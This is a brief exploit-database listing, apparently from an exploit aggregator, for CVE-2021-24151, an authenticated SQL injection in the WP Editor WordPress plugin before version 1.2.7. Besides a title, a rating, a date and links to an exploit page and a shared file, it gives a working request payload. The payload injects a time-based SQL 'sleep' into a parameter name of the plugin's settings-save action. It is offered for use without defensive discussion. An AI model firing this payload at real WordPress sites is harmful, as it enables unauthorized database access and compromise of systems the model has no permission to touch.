Exploit for WP Editor < 1.2.7 - Authenticated SQL injection CVE-2021-24151

Name: Exploit for WP Editor < 1.2.7 - Authenticated SQL injection CVE-2021-24151
Rating: 5 (438 reviews)

2021-02-01 | CVSS 2.5

## https://sploitus.com/exploit?id=WPEX-ID:5EE77DD7-5A73-4D4E-8038-23E6E763E20C
https://drive.google.com/file/d/1KT4lHePmYuX3_6jvA4AEQ1MVDwJBlZOO/view?usp=sharing


payload: wp_editor_ajax_nonce_settings_main=bfcfabefa8&action=save_wpeditor_settings&submit=Save%20Settings&cm0s'/**/or/**/sleep(1)%23=cm0s